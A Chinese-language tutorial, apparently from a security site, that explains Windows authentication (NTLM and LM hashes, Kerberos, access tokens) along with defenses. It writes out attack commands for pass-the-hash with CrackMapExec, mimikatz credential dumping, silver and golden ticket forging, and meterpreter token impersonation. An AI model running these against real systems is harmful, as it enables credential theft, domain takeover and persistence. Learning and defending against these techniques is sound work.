自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

【干貨】徹底理解Windows認(rèn)證

系統(tǒng) Windows
在本地登錄Windows的情況下,操作系統(tǒng)會(huì)使用用戶輸入的密碼作為憑證去與系統(tǒng)中的密碼進(jìn)行驗(yàn)證,但是操作系統(tǒng)中的密碼存儲(chǔ)在哪里呢?

[[255118]]

在內(nèi)部分享的《徹底理解Windows認(rèn)證》議題解讀,本次議題圍繞著Windows認(rèn)證分別講解了:

  • Pass The Hash
  • Silver Tickets、Golden Tickets、
  • Impersonation Token

這些技術(shù)分別能夠滿足我們?cè)跐B透中持續(xù)的維持權(quán)限、提權(quán)。

https://youtu.be/-FgWkU5awQE

0x00 本地認(rèn)證

  • 本地認(rèn)證基礎(chǔ)知識(shí)
  • NTLM Hash與NTLM
  • NTLM Hash的產(chǎn)生
  • 本地認(rèn)證流程
  • LM Hash

0x01 網(wǎng)絡(luò)認(rèn)證

  • NTLM 協(xié)議
  • Chalenge/Response
  • NTLM V2協(xié)議
  • Pass The Hash

0x02 Kerberos域認(rèn)證

  • Active Directory(活動(dòng)目錄)概念
  • Active Directory(活動(dòng)目錄)功能
  • 域認(rèn)證體系 - Kerbroes
  • 域認(rèn)證所參與的角色 (三只狗頭)
  • 域認(rèn)證粗略流程
  • 域認(rèn)證
  • 白銀票據(jù)(Silver Tickets)
  • 偽造白銀票據(jù)(Silver Tickets)
  • 白銀票據(jù)(Silver Tickets)演示
  • 白銀票據(jù)(Silver Tickets)防御
  • 黃金票據(jù)(Golden Tickets)
  • 黃金票據(jù)(Golden Tickets)-MSF kiwi
  • 黃金票據(jù)(Golden Tickets) - 偽造
  • 黃金票據(jù)(Golden Tickets) - 演示
  • Tickets 總結(jié)

0x03 Windows Access Token

  • Windows Access Token 簡(jiǎn)介
  • Windows Access Token組成
  • Windows Access Token – SID (Security Identifiers)安全標(biāo)識(shí)符
  • Windows Access Token產(chǎn)生過程
  • Windows Access Token令牌假冒實(shí)戰(zhàn)
  • Windows Access Token令牌假冒實(shí)戰(zhàn)
  • Windows Access Token令牌假冒防御

0x04 知識(shí)點(diǎn)總結(jié)

0x00 本地認(rèn)證

本地認(rèn)證基礎(chǔ)知識(shí)

 

在本地登錄Windows的情況下,操作系統(tǒng)會(huì)使用用戶輸入的密碼作為憑證去與系統(tǒng)中的密碼進(jìn)行驗(yàn)證,但是操作系統(tǒng)中的密碼存儲(chǔ)在哪里呢?

%SystemRoot%\system32\config\sam

當(dāng)我們登錄系統(tǒng)的時(shí)候,系統(tǒng)會(huì)自動(dòng)地讀取SAM文件中的“密碼”與我們輸入的“密碼”進(jìn)行比對(duì),如果相同,證明認(rèn)證成功!

這個(gè)SAM文件中保留了計(jì)算機(jī)本地所有用戶的憑證信息,可以理解為是一個(gè)數(shù)據(jù)庫(kù)。

上面認(rèn)證的過程只是粗略的說法,整個(gè)認(rèn)證過程并沒有那么簡(jiǎn)單,從操作系統(tǒng)的角度來看,還是需要鋪墊很多概念的。

Windows本身不保存明文密碼,只保留密碼的Hash。

 

Hash,一般翻譯做“散列”,也有直接音譯為“哈希”的,就是把任意長(zhǎng)度的輸入(又叫做預(yù)映射pre-image)通過散列算法變換成固定長(zhǎng)度的輸出,該輸出就是散列值。這種轉(zhuǎn)換是一種壓縮映射,也就是,散列值的空間通常遠(yuǎn)小于輸入的空間,不同的輸入可能會(huì)散列成相同的輸出,所以不可能從散列值來確定唯一的輸入值。簡(jiǎn)單的說就是一種將任意長(zhǎng)度的消息壓縮到某一固定長(zhǎng)度的消息摘要的函數(shù)。 – Baidu

為了保證存儲(chǔ)的不是明文,從而采用Hash,但是密碼Hash也需要特定的生成算法以及表現(xiàn)形式。

NTLM Hash與NTLM

 

在Windows中,密碼Hash目前稱之為NTLM Hash,其中NTLM全稱是:“NT LAN Manager”。

這個(gè)NTLM是一種網(wǎng)絡(luò)認(rèn)證協(xié)議,與NTLM Hash的關(guān)系就是:NTLM網(wǎng)絡(luò)認(rèn)證協(xié)議是以NTLM Hash作為根本憑證進(jìn)行認(rèn)證的協(xié)議。

也就是說,NTLM與NTLM Hash相互對(duì)應(yīng)。

在本地認(rèn)證的過程中,其實(shí)就是將用戶輸入的密碼轉(zhuǎn)換為NTLM Hash與SAM中的NTLM Hash進(jìn)行比較。

 

NTLM Hash的產(chǎn)生

假設(shè)我的密碼是admin,那么操作系統(tǒng)會(huì)將admin轉(zhuǎn)換為十六進(jìn)制,經(jīng)過Unicode轉(zhuǎn)換后,再調(diào)用MD4加密算法加密,這個(gè)加密結(jié)果的十六進(jìn)制就是NTLM Hash

  1. admin -> hex(16進(jìn)制編碼) = 61646d696e 
  2. 61646d696e -> Unicode = 610064006d0069006e00 
  3. 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634 

本地認(rèn)證流程

  1. winlogon.exe -> 接收用戶輸入 -> lsass.exe -> (認(rèn)證) 

首先,用戶注銷、重啟、鎖屏后,操作系統(tǒng)會(huì)讓winlogon顯示登錄界面,也就是輸入框,接收輸入后,將密碼交給lsass進(jìn)程,這個(gè)進(jìn)程中會(huì)存一份明文密碼,將明文密碼加密成NTLM Hash,對(duì)SAM數(shù)據(jù)庫(kù)比較認(rèn)證。

  • Windows Logon Process(即 winlogon.exe),是Windows NT 用戶登 陸程序,用于管理用戶登錄和退出。
  • LSASS用于微軟Windows系統(tǒng)的安全機(jī) 制。它用于本地安全和登陸策略。

LM Hash

在NTLM協(xié)議問世之前,它對(duì)前身就是LM(LAN Manager)協(xié)議。

LM與NTLM協(xié)議的認(rèn)證機(jī)制相同,但是加密算法不同。

目前大多數(shù)的Windows都采用NTLM協(xié)議認(rèn)證,LM協(xié)議已經(jīng)基本淘汰了。

LM協(xié)議認(rèn)證過程中需要LM Hash作為根本憑證進(jìn)行參與認(rèn)證,下面就簡(jiǎn)述一些LM Hash的產(chǎn)生:

  • 將所有小寫字母轉(zhuǎn)換為大寫字母• >123ABC // 未達(dá)到7個(gè)字符• 將密碼轉(zhuǎn)化為16進(jìn)制,分兩組,填充為14個(gè)字符,空余位使用0x00字符填補(bǔ)>31323341424300000000000000• 將密碼分割為兩組7個(gè)字節(jié)的塊
  • >31323341424300 00000000000000 // 16進(jìn)制• 將每組轉(zhuǎn)化為比特流,不足56Bit則在左邊加0• >31323341424300 ->(轉(zhuǎn)換為二進(jìn)制) 110001001100100011001101000001010000100100001100000000-> (補(bǔ) 足56Bit)
  • 00110001001100100011001101000001010000100100001100000000• 將比特流按照7比特一組,分出8組,末尾加0由于后者都為0,結(jié)果可想而知,那就都是0;
  • 將每組比特流轉(zhuǎn)換為16進(jìn)制作為被加密的值,使用DES加密,字符串 “KGS!@#$%”為Key(0x4B47532140232425),得到8個(gè)結(jié)果 ,每個(gè) 結(jié)果轉(zhuǎn)換為16進(jìn)制。• -> 00110000100110001000110001101000000101000001001000001100
  • 00000000• ->30988C6814120C00 -> DES(30988C6814120C00) -> 48-D7-EB-91- 2F-5E-69-7C
  • 由于我們的密碼不超過7字節(jié),所以后面的一半是固定的:
  • AA-D3-B4-35-B5-14-04-EE
  • 連接兩個(gè)DES加密字符串。這是LM哈希。
  • 48-D7-EB-91-2F-5E-69-7C-AA-D3-B4-35-B5-14-04-EE

在上面的產(chǎn)生過程中,脆弱點(diǎn)就在于DES的Key(KGS!@#$%)是固定的,也就是說,有了Key就能夠解出原文。

并且根據(jù)LM Hash特征,也能夠判斷用戶的密碼是否是大于等于7位。

0x01 網(wǎng)絡(luò)認(rèn)證

 

在內(nèi)網(wǎng)滲透中,經(jīng)常遇到工作組環(huán)境,而工作組環(huán)境是一個(gè)邏輯 上的網(wǎng)絡(luò)環(huán)境(工作區(qū)),隸屬于工作組的機(jī)器之間無(wú)法互相建 立一個(gè)完美的信任機(jī)制,只能點(diǎn)對(duì)點(diǎn),是比較落后的認(rèn)證方式, 沒有信托機(jī)構(gòu)。

假設(shè)A主機(jī)與B主機(jī)屬于同一個(gè)工作組環(huán)境,A想訪問B主機(jī)上的資料,需要將一個(gè)存在于B主機(jī)上的賬戶憑證發(fā)送至B主機(jī),經(jīng)過認(rèn)證才能夠訪問B主機(jī)上的資源。

這是我們接觸比較多的SMB共享文件的案例,SMB的默認(rèn)端口是445。

早期SMB協(xié)議在網(wǎng)絡(luò)上傳輸明文口令。后來出現(xiàn) LAN Manager Challenge/Response 驗(yàn)證機(jī)制,簡(jiǎn)稱LM,它是如此簡(jiǎn)單以至很容易就被破解,現(xiàn)在又有了NTLM以及Kerberos。

 

NTLM協(xié)議

NTLM是一種網(wǎng)絡(luò)認(rèn)證協(xié)議,它是基于挑戰(zhàn)(Chalenge)/響應(yīng)(Response)認(rèn)證機(jī)制的一種認(rèn)證模式。

這個(gè)協(xié)議只支持Windows

Chalenge/Response

NTLM協(xié)議的認(rèn)證過程分為三步:

  • 協(xié)商
  • 質(zhì)詢
  • 驗(yàn)證

協(xié)商:主要用于確認(rèn)雙方協(xié)議版本

質(zhì)詢:就是挑戰(zhàn)(Chalenge)/響應(yīng)(Response)認(rèn)證機(jī)制起作用的范疇,本小節(jié)主要討論這個(gè)機(jī)制的運(yùn)作流程。

驗(yàn)證:驗(yàn)證主要是在質(zhì)詢完成后,驗(yàn)證結(jié)果,是認(rèn)證的最后一步。

質(zhì)詢的完整過程:

1.客戶端向服務(wù)器端發(fā)送用戶信息(用戶名)請(qǐng)求

2.服務(wù)器接受到請(qǐng)求,生成一個(gè)16位的隨機(jī)數(shù),被稱之為“Challenge”, 使用登錄用戶名對(duì)應(yīng)的NTLM Hash加密Challenge(16位隨機(jī)字符), 生成Challenge1。同時(shí),生成Challenge1后,將Challenge(16位隨機(jī) 字符)發(fā)送給客戶端。

3.客戶端接受到Challenge后,使用將要登錄到賬戶對(duì)應(yīng)的NTLM Hash加密Challenge生成Response,然后將Response發(fā)送至服務(wù)器端。

其中,經(jīng)過NTLM Hash加密Challenge的結(jié)果在網(wǎng)絡(luò)協(xié)議中稱之為Net NTLM Hash。

驗(yàn)證: 服務(wù)器端收到客戶端的Response后,比對(duì)Chanllenge1與Response是否相等,若相等,則認(rèn)證通過。

使用另外一種方式解讀:

1.Server接收到Client發(fā)送的用戶名后,判斷本地賬戶列 表是否有用戶名share_user

  • 如果沒有,返回認(rèn)證失敗
  • 如果有,生成Chanllenge,并且從本地查找share_user對(duì) 應(yīng)的NTLM Hash,使用NTLM Hash加密Chanllenge,生成一 個(gè)Net-NTLM Hash存在內(nèi)存中,并將Chanllenge發(fā)送給Client。

2.Client接收到Chanllenge后,將自己提供的share_user的密碼轉(zhuǎn)換為NTLM Hash,使用NTLM Hash加密Chanllenge, 這個(gè)結(jié)果叫Response,表現(xiàn)形式是Net-NTLM Hash,最后將Response發(fā)送給Server。

3.Server接收到Client發(fā)送的Response,將Response與之 前的Net-NTLM Hash進(jìn)行比較,如果相等,則認(rèn)證通過。

注意:

1.Chanllenge是Server產(chǎn)生的一個(gè)16字節(jié)的隨機(jī)數(shù),每次認(rèn)證都不同

2.Response的表現(xiàn)形式是Net-NTLM Hash,它是由客戶端 提供的密碼Hash加密Server返回的Chanllenge產(chǎn)生的結(jié)果。

 

NTLM V2協(xié)議

NTLM v1與NTLM v2最顯著的區(qū)別就是Challenge與加密算法不同,共同點(diǎn)就是加密的原料都是NTLM Hash。

下面細(xì)說一下有什么不同:

  • Challage:NTLM v1的Challenge有8位,NTLM v2的Challenge為16位。
  • Net-NTLM Hash:NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5。

現(xiàn)在應(yīng)該能夠理解什么是NTLM、NTLM Hash、LM、LM Hash、Net NTLM Hash了吧?

Pass The Hash

在內(nèi)網(wǎng)滲透中,我們經(jīng)常會(huì)需要抓取管理員的密碼、NTLM Hash,通過搜集這些信息有助于我們擴(kuò)大戰(zhàn)果,尤其是在域環(huán)境下。

  • 什么是哈希傳遞?
  • 哈希傳遞是能夠在不需要賬戶明文密碼的情況下完成認(rèn)證的一個(gè)技術(shù)。
  • 哈希傳遞的作用?

解決了我們滲透中獲取不到明文密碼、破解不了NTLM Hash而又 想擴(kuò)大戰(zhàn)果的問題。

  • Pass The Hash - 必要條件
  • 哈希傳遞需要被認(rèn)證的主機(jī)能夠訪問到服務(wù)器(廢話)
  • 哈希傳遞需要被傳遞認(rèn)證的用戶名
  • 哈希傳遞需要被傳遞認(rèn)證用戶的NTLM Hash

要完成一個(gè)NTLM認(rèn)證,第一步需要客戶端將自己要參與認(rèn)證的 用戶名發(fā)送至服務(wù)器端,等待服務(wù)器端給出的Challenge⋯⋯

其實(shí)哈希傳遞就是使用用戶名對(duì)應(yīng)的NTLM Hash將服務(wù)器給出的 Chanllenge加密,生成一個(gè)Response,來完成認(rèn)證。

Pass The Hash能夠完成一個(gè)不需要輸入密碼的NTLM協(xié)議認(rèn)證流程,所以不算是一個(gè)漏洞,算是一個(gè)技巧。

Pass The Hash的工具:

  • Smbmap
  • CrackMapExec
  • Smbexec
  • Metasploit

使用CrackMapExec實(shí)現(xiàn)Hash傳遞:

  1. root@kali:~/cache# cme smb 192.168.3.5 -u administrator -H dab7de8feeb5ecac65faf9fdc6cac3a9 -x whoami 
  2. SMB 192.168.3.5 445 LIYINGZHEA30B 
  3. [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:LIYINGZHEA30B) 
  4. (domain:PAYLOADS) (signing:False) (SMBv1:True
  5. SMB 192.168.3.5 445 LIYINGZHEA30B 
  6. [+] PAYLOADS\administrator dab7de8feeb5ecac65faf9fdc6cac3a9 
  7. (Pwn3d!)SMB 192.168.3.5 445 LIYINGZHEA30B [+] Executed command 

0x02 Kerberos域認(rèn)證

Active Directory(活動(dòng)目錄)概念

Windows提供了為企業(yè)管理資產(chǎn)、服務(wù)、網(wǎng)絡(luò)對(duì)象進(jìn)行組織化的管理,這非常符合企業(yè)架構(gòu)的管理模式。而承載這些管理機(jī)制的就是活動(dòng)目錄服務(wù)。如果要搭建一個(gè)域,就需要安裝活動(dòng)目錄服務(wù),當(dāng)然,這個(gè)不在我們的討論范圍。

活動(dòng)目錄服務(wù)以域名來劃分域的邊界,域外就不屬于管理范圍了,也就是說,一個(gè)域?qū)?yīng)一個(gè)域名,域之間也可以相互信任。

  • Active Directory存儲(chǔ)了有關(guān)網(wǎng)絡(luò)對(duì)象的信息,并且讓管理員和用 戶能夠輕松地查找和使用這些信息。Active Directory使用了一種 結(jié)構(gòu)化的數(shù)據(jù)存儲(chǔ)方式,并以此作為基礎(chǔ)對(duì)目錄信息進(jìn)行合乎邏 輯的分層組織。
  • 網(wǎng)絡(luò)對(duì)象分為:用戶、用戶組、計(jì)算機(jī)、域、組織單位以及安全 策略等。

Active Directory(活動(dòng)目錄)功能

  • 服務(wù)器及客戶端計(jì)算機(jī)管理:管理服務(wù)器及客戶端計(jì)算機(jī)賬戶, 所有服務(wù)器及客戶端計(jì)算機(jī)加入域管理并實(shí)施組策略。
  • 用戶服務(wù):管理用戶域賬戶、用戶信息、企業(yè)通訊錄(與電子郵 件系統(tǒng)集成)、用戶組管理、用戶身份認(rèn)證、用戶授權(quán)管理等, 按省實(shí)施組管理策略。
  • 資源管理:管理打印機(jī)、文件共享服務(wù)等網(wǎng)絡(luò)資源。
  • 桌面配置:系統(tǒng)管理員可以集中的配置各種桌面配置策略,如: 用戶使用域中資源權(quán)限限制、界面功能的限制、應(yīng)用程序執(zhí)行特 征限制、網(wǎng)絡(luò)連接限制、安全配置限制等。
  • 應(yīng)用系統(tǒng)支撐:支持財(cái)務(wù)、人事、電子郵件、企業(yè)信息門戶、辦 公自動(dòng)化、補(bǔ)丁管理、防病毒系統(tǒng)等各種應(yīng)用系統(tǒng)。

在域中,網(wǎng)絡(luò)對(duì)象可以相互訪問,但是在真實(shí)情況中,需要對(duì)某些部門的計(jì)算機(jī)進(jìn)行限制,例如:銷售部門不能訪問技術(shù)部門的服務(wù)器。

這個(gè)中間就需要Kerberos認(rèn)證協(xié)議來驗(yàn)證網(wǎng)絡(luò)對(duì)象間的權(quán)限。

域認(rèn)證體系 - Kerbroes

Kerberos 是一種網(wǎng)絡(luò)認(rèn)證協(xié)議,其設(shè)計(jì)目標(biāo)是通過密鑰系統(tǒng)為客 戶機(jī) / 服務(wù)器應(yīng)用程序提供強(qiáng)大的認(rèn)證服務(wù)。該認(rèn)證過程的實(shí)現(xiàn)不 依賴于主機(jī)操作系統(tǒng)的認(rèn)證,無(wú)需基于主機(jī)地址的信任,不要求 網(wǎng)絡(luò)上所有主機(jī)的物理安全,并假定網(wǎng)絡(luò)上傳送的數(shù)據(jù)包可以被 任意地讀取、修改和插入數(shù)據(jù)。在以上情況下, Kerberos 作為一 種可信任的第三方認(rèn)證服務(wù),是通過傳統(tǒng)的密碼技術(shù)(如:共享 密鑰)執(zhí)行認(rèn)證服務(wù)的。

域認(rèn)證所參與的角色 (三只狗頭)

Kerberos的標(biāo)志是三只狗頭,狗頭分別代表以下角色:

  • Client
  • Server
  • KDC(Key Distribution Center) = DC(Domain Controller)

Kerberos認(rèn)證協(xié)議的基礎(chǔ)概念:

票據(jù)(Ticket):是網(wǎng)絡(luò)對(duì)象互相訪問的憑證。 TGT(Ticket Granting Ticket):入場(chǎng)券,通過入場(chǎng)券能夠獲得票據(jù),是一種臨時(shí)憑證的存在。

KDC負(fù)責(zé)管理票據(jù)、認(rèn)證票據(jù)、分發(fā)票據(jù),但是KDC不是一個(gè)獨(dú)立的服務(wù),它由以下服務(wù)組成:

  • Authentication Service: 為client生成TGT的服務(wù)
  • Ticket Granting Service: 為client生成某個(gè)服務(wù)的ticket

另外還需要介紹一個(gè)類似于本機(jī)SAM的一個(gè)數(shù)據(jù)庫(kù):AD,全稱叫account database,存儲(chǔ)所有client的白名單,只有存 在于白名單的client才能順利申請(qǐng)到TGT。

從物理層面看,AD與KDC均為域控制器(Domain Controller)。

域認(rèn)證粗略流程

  • client向kerberos服務(wù)請(qǐng)求,希望獲取訪問server的權(quán)限。 kerberos得到了這個(gè)消息,首先得判斷client是否是可信賴的, 也就是白名單黑名單的說法。這就是AS服務(wù)完成的工作,通過 在AD中存儲(chǔ)黑名單和白名單來區(qū)分client。成功后,返回AS返 回TGT給client。
  • client得到了TGT后,繼續(xù)向kerberos請(qǐng)求,希望獲取訪問 server的權(quán)限。kerberos又得到了這個(gè)消息,這時(shí)候通過client 消息中的TGT,判斷出了client擁有了這個(gè)權(quán)限,給了client訪 問server的權(quán)限ticket。
  • client得到ticket后,終于可以成功訪問server。這個(gè)ticket只是 針對(duì)這個(gè)server,其他server需要向TGS申請(qǐng)。

域認(rèn)證

 

首先,客戶端需要發(fā)送自己的身份信息到KDC,身份信息中起碼包含用戶名,KDC根據(jù)用戶名在AD中尋找是否在白名單中,然后根據(jù)用戶名提取到對(duì)應(yīng)的NTLM Hash。

KDC此時(shí)生成一個(gè)隨機(jī)字符串,叫Session Key,使用用戶名對(duì)應(yīng)的NTLM Hash加密Session Key,作為AS數(shù)據(jù),使用KDC中某個(gè)用戶的NTLM Hash加密Session Key和客戶端的信息,生成TGT。

  • Session Key用于客戶端向TGS服務(wù)通信。
  • 域內(nèi)所有網(wǎng)絡(luò)對(duì)象的憑證都在AD中保存
  • KDC中某個(gè)用戶指的是krbtgt

數(shù)據(jù)結(jié)構(gòu):

 

 

其中,TGT的到期時(shí)間為8小時(shí),如果超過了8小時(shí),還需要重新申請(qǐng)TGT,不能之間進(jìn)入下一步獲取Ticket。

Kerberos是一個(gè)假設(shè)網(wǎng)絡(luò)環(huán)境不安全的情況下能夠正常進(jìn)行認(rèn)證工作的協(xié)議。

第一步中,KDC返回的TGT客戶端是無(wú)法解密的,因?yàn)樗鼪]有KDC Hash,如果有,我們就可以偽造黃金票據(jù),這個(gè)是后話了。

 

第二步客戶端需要提供TGT與第一步中使用自己NTLM Hash解密出來的Session Key加密的客戶端信息跟時(shí)間戳。

如果假設(shè)這個(gè)數(shù)據(jù)被中間人竊取到,也無(wú)法在段時(shí)間內(nèi)破解,因?yàn)镵DC會(huì)校驗(yàn)時(shí)間戳。

KDC接到TGT與其他內(nèi)容后,會(huì)首先解密TGT,只有KDC可以解密TGT,從TGT中提取到Session Key,再使用Session Key解密其他內(nèi)容,解密出來的內(nèi)容同TGT中的信息進(jìn)行校驗(yàn)來確認(rèn)客戶端是否受信。

驗(yàn)證通過后,就會(huì)生成一個(gè)新的Session Key,我們稱之為Server Session Key,這個(gè)Server Session Key主要用于和服務(wù)器進(jìn)行通信。同時(shí)還會(huì)生成一個(gè)Ticket,也就是最后的票據(jù)了。

Ticket組成如下:

 

Server Hash:這個(gè)Hash是在AD中服務(wù)器計(jì)算機(jī)的NTLM Hash

 

在第三步里,客戶端向服務(wù)器請(qǐng)求,需要提供Ticket,Server Session Key加密的客戶端信息與時(shí)間戳。

  • Ticket客戶端無(wú)法解密
  • 服務(wù)器端通過解密Ticket解密Server Session Key(Client info + Timestamp)
  • 比較時(shí)間長(zhǎng)度

校驗(yàn)通過后,認(rèn)證成功,該票據(jù)會(huì)一直存在客戶端內(nèi)存中。

白銀票據(jù)(Silver Tickets)

白銀票據(jù)特點(diǎn):

  • 1.不需要與KDC進(jìn)行交互
  • 2.需要目標(biāo)服務(wù)的NTLM Hash

在第三步認(rèn)證中的Ticket的組成:

  1. Ticket=Server Hash(Server Session Key+Client info+End Time

當(dāng)擁有Server Hash時(shí),我們就可以偽造一個(gè)不經(jīng)過KDC認(rèn)證的一個(gè)Ticket。

PS:Server Session Key在未發(fā)送Ticket之前,服務(wù)器是不知道Server Session Key是什么的。 所以,一切憑據(jù)都來源于Server Hash。

偽造白銀票據(jù)(Silver Tickets)

首先需要導(dǎo)出Server Hash:

  1. C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt 

偽造票據(jù):

  1. mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目標(biāo)服務(wù)器主機(jī)名> /service:<服務(wù)類型> /rc4: /user:<用戶名> /ptt" exit 

Other:

  • kerberos::list #列出票據(jù)
  • kerberos::purge # 清除票據(jù)

由于白銀票據(jù)需要目標(biāo)服務(wù)器的Hash,所以沒辦法生成對(duì)應(yīng)域內(nèi) 所有服務(wù)器的票據(jù),也不能通過TGT申請(qǐng)。因此只能針對(duì)服務(wù)器 上的某些服務(wù)去偽造,偽造的服務(wù)類型列表如下:

 

白銀票據(jù)(Silver Tickets)演示

https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2018-11-30/kerberos_stgt.mp4

白銀票據(jù)(Silver Tickets)防御

  • 1.盡量保證服務(wù)器憑證不被竊取
  • 2.開啟PAC (Privileged Attribute Certificate) 特權(quán)屬性證書保護(hù) 功能,PAC主要是規(guī)定服務(wù)器將票據(jù)發(fā)送給kerberos服務(wù),由 kerberos服務(wù)驗(yàn)證票據(jù)是否有效。

開啟方式:

將注冊(cè)表中

  1. HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters 

中的ValidateKdcPacSignature設(shè)置為1。

黃金票據(jù)(Golden Tickets)

黃金票據(jù)特點(diǎn):

  • 1.需要與DC通信
  • 2.需要krbtgt用戶的hash

PS:這里的krbtgt hash就是之前講的KDC Hash

黃金票據(jù)(Golden Tickets)-MSF kiwi

使用meterpreter中的kiwi模塊:

load kiwi

創(chuàng)建票據(jù):

 

注入到內(nèi)存:

 

使用wmic在目標(biāo)服務(wù)器上創(chuàng)建一個(gè)進(jìn)程:

 

黃金票據(jù)(Golden Tickets) - 偽造

偽造票據(jù):

  1. mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4: /user:<任意用戶名> /ptt" exit 

黃金票據(jù)(Golden Tickets) - 演示

https://rvn0xsy.oss-cn-shanghai.aliyuncs.com/2018-11-30/kerberos_gtgt.mp4

Tickets 總結(jié)

黃金票據(jù):從攻擊面來看,獲取krbtgt用戶的hash后,可以在域中 進(jìn)行持久性的隱藏,并且日志無(wú)法溯源,但是需要拿到DC權(quán)限, 使用黃金票據(jù)能夠在一個(gè)域環(huán)境中長(zhǎng)時(shí)間控制整個(gè)域。

從防御角度來看,需要經(jīng)常更新krbtgt的密碼,才能夠使得原有的 票據(jù)失效。最根本的辦法是不允許域管賬戶登錄其他服務(wù)器。

白銀票據(jù):從攻擊面來看,偽造白銀票據(jù)的難度比偽造黃金票據(jù)的 難度較小,因?yàn)橐粋€(gè)域中的服務(wù)器如果對(duì)外的話,非常容易被入侵, 并且容易被轉(zhuǎn)儲(chǔ)Server。

從防御角度來看,需要開啟PAC認(rèn)證,但這會(huì)降低認(rèn)證效率,增加 DC的負(fù)擔(dān),最根本的還是要加固服務(wù)器本身對(duì)外的服務(wù)。

0x03 Windows Access Token

01Windows Access Token 簡(jiǎn)介

Windows Token其實(shí)叫Access Token(訪問令牌),它是一個(gè)描 述進(jìn)程或者線程安全上下文的一個(gè)對(duì)象。不同的用戶登錄計(jì)算機(jī)后, 都會(huì)生成一個(gè)Access Token,這個(gè)Token在用戶創(chuàng)建進(jìn)程或者線程 時(shí)會(huì)被使用,不斷的拷貝,這也就解釋了A用戶創(chuàng)建一個(gè)進(jìn)程而該 進(jìn)程沒有B用戶的權(quán)限。

Access Token種類:

  • 主令牌
  • 模擬令牌

一般情況下,用戶雙擊運(yùn)行一個(gè)程序,都會(huì)拷貝“explorer.exe”的Access Token。

當(dāng)用戶注銷后,系統(tǒng)將會(huì)使主令牌切換為模擬令牌,不會(huì)將令牌清除,只有在重啟機(jī)器后才會(huì)清除。

02Windows Access Token組成

  • 用戶帳戶的安全標(biāo)識(shí)符(SID)
  • 用戶所屬的組的SID
  • 用于標(biāo)識(shí)當(dāng)前登錄會(huì)話的登錄SID
  • 用戶或用戶組所擁有的權(quán)限列表
  • 所有者SID
  • 主要組的SID
  • 訪問控制列表
  • 訪問令牌的來源
  • 令牌是主要令牌還是模擬令牌
  • 限制SID的可選列表
  • 目前的模擬等級(jí)
  • 其他統(tǒng)計(jì)數(shù)據(jù)

03Windows Access Token

– SID (Security Identifiers)安全標(biāo)識(shí)符

安全標(biāo)識(shí)符是一個(gè)唯一的字符串,它可以代表一個(gè)賬戶、一個(gè)用戶 組、或者是一次登錄。通常它還有一個(gè)SID固定列表,例如 Everyone這種已經(jīng)內(nèi)置的賬戶,默認(rèn)擁有固定的SID。

  • SID的表現(xiàn)形式:
  • 域SID-用戶ID
  • 計(jì)算機(jī)SID-用戶ID

SID列表都會(huì)存儲(chǔ)在域控的AD或者計(jì)算機(jī)本地賬戶數(shù)據(jù)庫(kù)中。

04Windows Access Token產(chǎn)生過程

每個(gè)進(jìn)程創(chuàng)建時(shí)都會(huì)根據(jù)登錄會(huì)話權(quán)限由LSA(Local Security Authority)分配一個(gè)Token(如果CreaetProcess時(shí)自己指定了 Token, LSA會(huì)用該Token, 否則就用父進(jìn)程Token的一份拷貝。

05Windows Access Token令牌假冒實(shí)戰(zhàn)

當(dāng)用戶注銷后,系統(tǒng)將會(huì)使主令牌切換為模擬令牌,不會(huì)將令牌清 除,只有在重啟機(jī)器后才會(huì)清除。

可以使用多種工具查看目前系統(tǒng)上存在的模擬令牌:

  • Incognito
  • Powershell - Invoke-TokenManipulation.ps1
  • Cobalt Strike - steal_token

案例(針對(duì)某跨國(guó)企業(yè)的一次滲透測(cè)試 獲取DC權(quán)限): http://blog.360ec.net/archives/32/

06Windows Access Token令牌假冒實(shí)戰(zhàn)

  1. meterpreter > getsystem 
  2. meterpreter > load incognito meterpreter > list_tokens –u 
  3. Delegation Tokens Available ============================== NT AUTHORITY\LOCAL SERVICENT AUTHORITY\NETWORK SERVICENT AUTHORITY\SYSTEM PAYLOADS\Administrator PAYLOADS\w7 
  4. meterpreter > impersonate_token "PAYLOADS\\Administrator” 
  5. [+] Delegation token available 
  6. [+] Successfully impersonated user PAYLOADS\Administrator 

07Windows Access Token令牌假冒防御

禁止Domain Admins登錄對(duì)外且未做安全加固的服務(wù)器,因?yàn)橐坏┓?wù)器被入侵,域管理員的令牌可能會(huì)被攻擊者假冒,從控制DC。

如果想清除假冒,重啟服務(wù)器即可。

0x04 知識(shí)點(diǎn)總結(jié)

本次議題圍繞著Windows認(rèn)證分別講解了Pass The Hash、Silver Tickets、Golden Tickets、 Impersonation Token的原理。 這些技術(shù)分別能夠滿足我們?cè)跐B透中持續(xù)的維持權(quán)限、提權(quán)。

可拓展:

域滲透技術(shù)/思路,SPN掃描,Red/Blue team

  • https://lolbas-project.github.io/
  • https://gtfobins.github.io/
  • https://github.com/yeyintminthuhtut/Awesome-Red-Teaming
責(zé)任編輯:武曉燕 來源: SecPulse安全脈搏
相關(guān)推薦

2016-11-28 14:11:24

ANDROID BIN通信架構(gòu)

2016-11-28 14:44:55

ANDROID BIN通信架構(gòu)

2021-05-13 08:55:33

Android架構(gòu)功能

2019-06-11 14:45:25

2020-03-03 14:15:49

Redis持久化數(shù)據(jù)庫(kù)

2019-11-07 10:37:36

CookieSessionToken

2024-03-15 08:23:26

異步編程函數(shù)

2022-10-24 08:08:27

閉包編譯器

2023-12-28 10:39:57

數(shù)組節(jié)點(diǎn)數(shù)據(jù)結(jié)構(gòu)

2023-01-06 08:42:41

動(dòng)態(tài)規(guī)劃字符

2021-12-27 09:33:12

內(nèi)存泄漏程序

2019-12-10 13:55:10

Go指針存儲(chǔ)

2022-08-16 09:03:01

JavaScript前端

2024-06-21 08:32:24

2022-01-06 14:25:24

C語(yǔ)言指針內(nèi)存

2023-09-07 08:15:58

場(chǎng)景同步異步

2022-12-29 08:12:51

動(dòng)態(tài)規(guī)劃profit

2021-12-06 11:19:47

語(yǔ)言指針內(nèi)存

2023-10-27 11:21:20

C語(yǔ)言Multics語(yǔ)言

2022-02-28 11:10:42

